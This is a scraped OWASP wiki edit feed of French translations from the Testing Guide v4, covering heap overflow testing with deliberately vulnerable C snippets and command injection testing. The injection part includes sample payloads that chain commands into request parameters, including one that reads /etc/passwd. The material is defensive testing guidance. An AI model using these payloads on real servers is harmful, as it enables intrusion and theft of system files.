Les principes de test en boite noire pour les débordements de tas sont les mêmes que pour les débordements de pile. La clef est de fournir des chaînes d'entrées plus longues qu'attendu. Bien que le processus reste le même, les résultats visibles dans un débogueur sont significativement différents. Alors que dans le as d'un débordement de pile, l'écrasement du pointeur d'instruction ou SEH apparaîtrait, cela n'est pas le cas pour un débordement de tas. Quand on débogue sous Windows, un débordement de tas peut avoir différentes formes, la plus commune étant un échange de pointeur après que la routine de gestion du tas soit entrée en action. Le scenario suivant illustre une vulnérabilité de débordement de tas.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[image:heap overflow vulnerability.gif]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les deux registres affichés, EAX et ECX, peuvent être affectés avec des adresses fournies par l'utilisateur qui font partie des données utilisées pour déborder le tas. Une des adresse peut pointer sur un pointeur de fonction à écraser, par exemple UEF (Unhandled Exception filter), et l'autre peut être l'adresse du code à exécuter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Quand les instructions MOV affichée dans le panneau de gauche sont exécutées, l'écrasement a lieu, et quand la fonction est appelée, le code fourni par l'utilisateur est exécuté. Comme mentionné plus haut, d'autres méthodes pour tester de telle vulnérabilités incluent l'ingénierie inverse des binaires de l'application, qui est un processus long et complexe, et le les techniques de fuzzing.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Test en boite grise === &lt;br /&gt;
&lt;br /&gt;
Quand on fait uen revue de code, on doit savoir qu'il y a différentes manières dont les débordement de tas peuvent survenir. Du code en apparence inoffensif à première vue peut en fait être vulnérable dans certaines conditions. Comme il y a plusieurs variantes de cette vulnérabilité, nous allons voir seulement les plus fréquentes.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La plupart du temps, le tas est considéré comme sûr par beaucoup de développeurs qui n'hésitent pas à utiliser des fonctions non sécurisées comme strcpy(). Le mythe prétendant que les débordement de pile et l'écrasement du pointeur d'instruction sont les seuls moyen d'exécuter du code arbitraire est en fait hasardeux dans le cas du code suivant :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(int argc, char *argv[])&lt;br /&gt;
	{&lt;br /&gt;
		……&lt;br /&gt;
&lt;br /&gt;
		vulnerable(argv[1]);		                                 &lt;br /&gt;
		return 0;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
	int vulnerable(char *buf)&lt;br /&gt;
	{&lt;br /&gt;
		&lt;br /&gt;
		HANDLE hp = HeapCreate(0, 0, 0);		&lt;br /&gt;
		&lt;br /&gt;
		HLOCAL chunk = HeapAlloc(hp, 0, 260);&lt;br /&gt;
&lt;br /&gt;
		strcpy(chunk, buf);  ''' Vulnerability''' &lt;br /&gt;
                         &lt;br /&gt;
                          …….. &lt;br /&gt;
&lt;br /&gt;
		return 0;&lt;br /&gt;
	}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce cas, si buf est plus grand que 200 octets, il va écraser les pointeurs de la balise de limite voisine, facilitant la réécriture d'une zone de mémoire arbitraire avec 4 octets une fois que la routine de gestion du tas se lance.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Récemment, plusieurs produits, notamment des bibliothèques anti-virus, ont été impactés par des variantes qui sont uen combinaison de débordement d'entier et d'opérations de copie vers un tampon du tas. Par exemple, considérons un morceau de code vulnérable, composant de code traîtant les fichiers de type TNEF, de Clam Anti Virus 0.86.1 (fichier source tnef.c et fonction tnef_message() ) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
string = cli_malloc(length + 1); ''' Vulnerability'''&lt;br /&gt;
if(fread(string, 1, length, fp) != length) {''' Vulnerability'''&lt;br /&gt;
free(string);&lt;br /&gt;
return -1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le malloc de la ligne 1 alloue une quantité de mémoire basée sur la valeur de length, qui est un entier 32 bits. Dans cet exemple, length est contrôlable par l'utilisateur et un fichier TNEF malicieux peut être construit pour affecter '-1' à length, ce qui donnerait un malloc( 0 ). Donc ce malloc allourait un petit tampon dans le tas, qui ferait 16 octets sur la plupart des plateformes 32 bits (comme indiqué dans malloc.h).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite à la ligne 2, un débordement de tas lors de l'appelle à fread(à. Le 3e argument, dans ce cas length, devrait être une variable size_t. Mais comme il est égal à '-1', il est converti en 0xFFFFFFFF, copiant ainsi 0xFFFFFFFF octets dans le tampon de 16 octets.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les outils d'analyse de code statiques peuvent aussi aider pour repérer les vulnérabilités en rapport, comme les &amp;quot;double free&amp;quot;, etc. Divers outils comme RATS, Flwfinder et ITS4 sont disponiblres pour analyser les langages C et dérivés.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Outils==&lt;br /&gt;
* OllyDbg: &amp;quot;A windows based debugger used for analyzing buffer overflow vulnerabilities&amp;quot; - http://www.ollydbg.de&lt;br /&gt;
* Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - http://www.immunitysec.com/downloads/SPIKE2.9.tgz&lt;br /&gt;
* Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net&lt;br /&gt;
* Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Références==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* w00w00: &amp;quot;Heap Overflow Tutorial&amp;quot; - http://www.cgsecurity.org/exploit/heaptut.txt&lt;br /&gt;
* David Litchfield: &amp;quot;Windows Heap Overflows&amp;quot; - http://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.ppt&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187931</id>
		<title>User:Jcpraud</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187931"/>
				<updated>2015-01-12T21:39:05Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Information Security Consultant&lt;br /&gt;
Formerly Privacy &amp;amp; Information Officer at F-Secure Bordeaux (content cloud business line)&lt;br /&gt;
CISSP&lt;br /&gt;
Master in Information Systems Risk Management&lt;br /&gt;
20+ years of experience in IT, web &amp;amp; application development, sysadmin, databases, including security aspects of all these domains.&lt;br /&gt;
Knowledge &amp;amp; skills: Java, Linux, OpenBSD, Agile methods (Scrum, Kanban), Architecture Security (STRIDE), ISO27K, Risk Management, Incident Management.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(WIP) French translation of the Testing Guide:&lt;br /&gt;
&lt;br /&gt;
[[Testing Guide FR Translation - JCP Notes]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.7 Test de management de sessions]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.1_Tester_le_système_de_management_des_sessions_(OTG-SESS-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.2 Tester les attributs des cookies (OTG-SESS-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.3 Tester les fixations de session (OTG-SESS-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.4 Tester les variables de session exposées (OTG-SESS-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.5 Tester les Cross Site Request Forgeries (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.6 Tester les fonctionnalités de déconnexion (OTG-SESS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.7 Tester l'expiration de session (OTG-SESS-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.8 Tester la confusion de session (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.8 Tester la validation des entrées]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.1 Test de Reflected Cross-Site Scripting (OTG-INPVAL-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.2 Test de Stored Cross-Site Scripting (OTG-INPVAL-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.3 Test d'HTTP Verb Tampering (OTG-INPVAL-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.4 Test d'HTTP Parameter pollution (OTG-INPVAL-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5 Test d'Injection SQL (OTG-INPVAL-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.1 Tester Oracle]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.2 Tester MySQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.3 Tester SQL Server]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.4 Tester PostgreSQL (from OWASP BSP)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.5 Tester MS Access]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.6 Tester les injections NoSQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.6 Tester les injections LDAP (OTG-INPVAL-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.7 Tester les injections ORM (OTG-INPVAL-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.8 Tester les injections XML (OTG-INPVAL-008)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.9 Tester les injections SSI (OTG-INPVAL-009)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.10 Tester les injections XPath (OTG-INPVAL-010)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.11 Injections IMAP SMTP (OTG-INPVAL-011)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12 Tester les injections de code (OTG-INPVAL-012)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12.1 Tester l'inclusion de fichiers locaux]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12.2 Tester l'inclusion de fichiers distants]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.13 Tester les injections de commandes (OTG-INPVAL-013)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.14 Tester les débordements de tampons (OTG-INPVAL-014)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.14.1 Tester les débordements de tas]]&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.8.14_Tester_les_d%C3%A9bordements_de_tampons_(OTG-INPVAL-014)&amp;diff=187928</id>
		<title>4.8.14 Tester les débordements de tampons (OTG-INPVAL-014)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.8.14_Tester_les_d%C3%A9bordements_de_tampons_(OTG-INPVAL-014)&amp;diff=187928"/>
				<updated>2015-01-12T19:50:57Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: Created page with &amp;quot;{{Template:OWASP Testing Guide v4}}  ==Sommaire==  Pour plus d'informations sur les débordements de tampons, voir les pages Buffer Overflow.  Voir les articles OWASP sur...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
==Sommaire==&lt;br /&gt;
&lt;br /&gt;
Pour plus d'informations sur les débordements de tampons, voir les pages [[Buffer Overflow]].&lt;br /&gt;
&lt;br /&gt;
Voir les articles OWASP sur les attaques [[Buffer_overflow_attack|par débordement de tampon]]&lt;br /&gt;
&lt;br /&gt;
Voir l'article OWASP sur les vulnérabilités de [[Buffer_Overflow|débordement de tampon]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Comment tester==&lt;br /&gt;
&lt;br /&gt;
Les différents types de débordement de tampon sont testés par différentes méthodes. Voici les méthodes de test pour les vulnérabilités les plus communes.&lt;br /&gt;
&lt;br /&gt;
* [[Testing_for_Heap_Overflow|Testing for heap overflow vulnerability]]&lt;br /&gt;
* [[Testing_for_Stack_Overflow|Testing for stack overflow vulnerability]]&lt;br /&gt;
* [[Testing_for_Format_String|Testing for format string vulnerability]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Revue de code===&lt;br /&gt;
&lt;br /&gt;
Voir l'article [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] sur [[Reviewing_Code_for_Buffer_Overruns_and_Overflows|Review Code for Buffer Overruns and Overflows]].&lt;br /&gt;
&lt;br /&gt;
==Remédiation==&lt;br /&gt;
&lt;br /&gt;
Voir l'article [[:Category:OWASP Guide Project|OWASP Development Guide]] sur [[Buffer_Overflows|Avoid Buffer Overflow]].&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187927</id>
		<title>User:Jcpraud</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187927"/>
				<updated>2015-01-12T19:50:36Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Information Security Consultant&lt;br /&gt;
Formerly Privacy &amp;amp; Information Officer at F-Secure Bordeaux (content cloud business line)&lt;br /&gt;
CISSP&lt;br /&gt;
Master in Information Systems Risk Management&lt;br /&gt;
20+ years of experience in IT, web &amp;amp; application development, sysadmin, databases, including security aspects of all these domains.&lt;br /&gt;
Knowledge &amp;amp; skills: Java, Linux, OpenBSD, Agile methods (Scrum, Kanban), Architecture Security (STRIDE), ISO27K, Risk Management, Incident Management.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(WIP) French translation of the Testing Guide:&lt;br /&gt;
&lt;br /&gt;
[[Testing Guide FR Translation - JCP Notes]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.7 Test de management de sessions]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.1_Tester_le_système_de_management_des_sessions_(OTG-SESS-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.2 Tester les attributs des cookies (OTG-SESS-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.3 Tester les fixations de session (OTG-SESS-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.4 Tester les variables de session exposées (OTG-SESS-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.5 Tester les Cross Site Request Forgeries (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.6 Tester les fonctionnalités de déconnexion (OTG-SESS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.7 Tester l'expiration de session (OTG-SESS-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.8 Tester la confusion de session (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.8 Tester la validation des entrées]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.1 Test de Reflected Cross-Site Scripting (OTG-INPVAL-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.2 Test de Stored Cross-Site Scripting (OTG-INPVAL-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.3 Test d'HTTP Verb Tampering (OTG-INPVAL-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.4 Test d'HTTP Parameter pollution (OTG-INPVAL-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5 Test d'Injection SQL (OTG-INPVAL-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.1 Tester Oracle]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.2 Tester MySQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.3 Tester SQL Server]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.4 Tester PostgreSQL (from OWASP BSP)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.5 Tester MS Access]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.6 Tester les injections NoSQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.6 Tester les injections LDAP (OTG-INPVAL-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.7 Tester les injections ORM (OTG-INPVAL-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.8 Tester les injections XML (OTG-INPVAL-008)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.9 Tester les injections SSI (OTG-INPVAL-009)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.10 Tester les injections XPath (OTG-INPVAL-010)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.11 Injections IMAP SMTP (OTG-INPVAL-011)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12 Tester les injections de code (OTG-INPVAL-012)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12.1 Tester l'inclusion de fichiers locaux]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12.2 Tester l'inclusion de fichiers distants]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.13 Tester les injections de commandes (OTG-INPVAL-013)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.14 Tester les débordements de tampons (OTG-INPVAL-014)]]&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.8.13_Tester_les_injections_de_commandes_(OTG-INPVAL-013)&amp;diff=187926</id>
		<title>4.8.13 Tester les injections de commandes (OTG-INPVAL-013)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.8.13_Tester_les_injections_de_commandes_(OTG-INPVAL-013)&amp;diff=187926"/>
				<updated>2015-01-12T19:42:51Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: Created page with &amp;quot;{{Template:OWASP Testing Guide v4}}  == Sommaire == Cet article décrit comment tester les injections de commandes systèmes sur une application. Le testeur va essayer d'injec...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Sommaire ==&lt;br /&gt;
Cet article décrit comment tester les injections de commandes systèmes sur une application. Le testeur va essayer d'injecter une commande système danas l'application via une requête HTTP.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
L'injection de commandes systèmes est une technique utilisée via une interface web pour exécuter des commandes systèmes sur le serveur web. L'utilisateur envoie des commandes systèmes sur une interface web afin de les exécuter. Toute interface web qui ne valide pas correctement ses entrées est sujette à cette vulnérabilité. En pouvant exécuter des commandes systèmes, l'utilisateur peut télécharger des programmes malicieux ou même obtenir des mots de passe. L'injection de commandes systèmes peut être évitée quand la securité est prise en compte pendant la conception et le développement d'applications.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Comment tester ==&lt;br /&gt;
Quand on visualise un fichier sur une application web, le nom du fichier est souvent affiché dans l'URL. Perl permet de transférer des données vers une instruction avec un pipe. L'utilisateur peut simplement ajouter un symbole pipe &amp;quot;|&amp;quot; à la fin du nom du fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Un exemple d'URL avant modification :&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/cgi-bin/userData.pl?doc=user1.txt&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Exemple d'URL modifiée :&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cela va exécuter la commande “/bin/ls”.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ajouter un point-virgule à la fin de l'URL d'une page .PHP, suivi d'une commande système, va exécuter la commande. %3B est le point-virgule encodé en URL.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Exemple :&amp;lt;br&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/something.php?dir=%3Bcat%20/etc/passwd&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Exemple'''&amp;lt;br&amp;gt;&lt;br /&gt;
Considérons le cas d'une application contenant un ensemble de documents que l'on peut consulter depuis Internet. Si l'on lance WebScarab, on obtient une requêete HTTP POST comme la suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST http://www.example.com/public/doc HTTP/1.1&lt;br /&gt;
Host: www.example.com&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0&lt;br /&gt;
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3&lt;br /&gt;
Accept-Encoding: gzip,deflate&lt;br /&gt;
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
Keep-Alive: 300&lt;br /&gt;
Proxy-Connection: keep-alive&lt;br /&gt;
Referer: http://127.0.0.1/WebGoat/attack?Screen=20&lt;br /&gt;
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5&lt;br /&gt;
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
Content-length: 33&lt;br /&gt;
&lt;br /&gt;
Doc=Doc1.pdf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans cette requête POST, on observe comment l'application récupère le document public. Maintenant, on peut tester s'il est possible d'ajouter une commande système à injecter dans la requête POST. On essaie ce qui suit :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST http://www.example.com/public/doc HTTP/1.1&lt;br /&gt;
Host: www.example.com&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0&lt;br /&gt;
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3&lt;br /&gt;
Accept-Encoding: gzip,deflate&lt;br /&gt;
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
Keep-Alive: 300&lt;br /&gt;
Proxy-Connection: keep-alive&lt;br /&gt;
Referer: http://127.0.0.1/WebGoat/attack?Screen=20&lt;br /&gt;
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5&lt;br /&gt;
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
Content-length: 33&lt;br /&gt;
&lt;br /&gt;
Doc=Doc1.pdf+|+Dir c:\&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Si l'application ne valide pas la requête, on peut obtenir le résultat suivant :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Exec Results for 'cmd.exe /c type &amp;quot;C:\httpd\public\doc\&amp;quot;Doc=Doc1.pdf+|+Dir c:\'&lt;br /&gt;
Output...&lt;br /&gt;
Il volume nell'unità C non ha etichetta.&lt;br /&gt;
Numero di serie Del volume: 8E3F-4B61&lt;br /&gt;
Directory of c:\&lt;br /&gt;
 18/10/2006 00:27 2,675 Dir_Prog.txt&lt;br /&gt;
 18/10/2006 00:28 3,887 Dir_ProgFile.txt&lt;br /&gt;
 16/11/2006 10:43&lt;br /&gt;
    Doc&lt;br /&gt;
    11/11/2006 17:25&lt;br /&gt;
       Documents and Settings&lt;br /&gt;
       25/10/2006 03:11&lt;br /&gt;
          I386&lt;br /&gt;
          14/11/2006 18:51&lt;br /&gt;
	     h4ck3r&lt;br /&gt;
	     30/09/2005 21:40 25,934 &lt;br /&gt;
		OWASP1.JPG&lt;br /&gt;
		03/11/2006 18:29&lt;br /&gt;
			Prog&lt;br /&gt;
			18/11/2006 11:20&lt;br /&gt;
				Program Files&lt;br /&gt;
				16/11/2006 21:12&lt;br /&gt;
					Software&lt;br /&gt;
					24/10/2006 18:25&lt;br /&gt;
						Setup&lt;br /&gt;
						24/10/2006 23:37&lt;br /&gt;
							Technologies&lt;br /&gt;
							18/11/2006 11:14	&lt;br /&gt;
							3 File 32,496 byte&lt;br /&gt;
							13 Directory 6,921,269,248 byte disponibili&lt;br /&gt;
							Return code: 0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce cas, on a réussi une attaque d'injection de commande système.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Outils==&lt;br /&gt;
&lt;br /&gt;
* OWASP [[OWASP WebScarab Project |WebScarab]]&amp;lt;br&amp;gt; &lt;br /&gt;
* OWASP [[OWASP WebGoat Project|WebGoat]] &lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
&lt;br /&gt;
'''White papers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* http://www.securityfocus.com/infocus/1709&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remédiation == &lt;br /&gt;
===Validation===&lt;br /&gt;
L'URL et les données de formulaire doivent être filtrées pour éliminer les caractères invalides. Une liste noire de caractères est une option mais il peut être difficile de penser à tous les caractères à interdire. Certains peuvent ne pas être encore connus. Une liste blanche contenant uniquement les caractères autorisés devrait être créée pour valider les entrées utilisateur. Les caractères oubliés, comme les menaces encore inconnues, seront éliminées par cette liste.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Permissions===&lt;br /&gt;
L'application web et ses composants devraient être exécutés sous des permissions strictes, interdisant l'exécution de commandes systèmes. Essayez de vérifier toutes ces informations lors de tests en boite grise.&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187925</id>
		<title>User:Jcpraud</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187925"/>
				<updated>2015-01-12T19:42:33Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Information Security Consultant&lt;br /&gt;
Formerly Privacy &amp;amp; Information Officer at F-Secure Bordeaux (content cloud business line)&lt;br /&gt;
CISSP&lt;br /&gt;
Master in Information Systems Risk Management&lt;br /&gt;
20+ years of experience in IT, web &amp;amp; application development, sysadmin, databases, including security aspects of all these domains.&lt;br /&gt;
Knowledge &amp;amp; skills: Java, Linux, OpenBSD, Agile methods (Scrum, Kanban), Architecture Security (STRIDE), ISO27K, Risk Management, Incident Management.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(WIP) French translation of the Testing Guide:&lt;br /&gt;
&lt;br /&gt;
[[Testing Guide FR Translation - JCP Notes]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.7 Test de management de sessions]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.1_Tester_le_système_de_management_des_sessions_(OTG-SESS-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.2 Tester les attributs des cookies (OTG-SESS-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.3 Tester les fixations de session (OTG-SESS-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.4 Tester les variables de session exposées (OTG-SESS-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.5 Tester les Cross Site Request Forgeries (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.6 Tester les fonctionnalités de déconnexion (OTG-SESS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.7 Tester l'expiration de session (OTG-SESS-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.8 Tester la confusion de session (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.8 Tester la validation des entrées]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.1 Test de Reflected Cross-Site Scripting (OTG-INPVAL-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.2 Test de Stored Cross-Site Scripting (OTG-INPVAL-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.3 Test d'HTTP Verb Tampering (OTG-INPVAL-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.4 Test d'HTTP Parameter pollution (OTG-INPVAL-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5 Test d'Injection SQL (OTG-INPVAL-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.1 Tester Oracle]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.2 Tester MySQL]]&lt;br /&gt;
&lt;br /&gt;
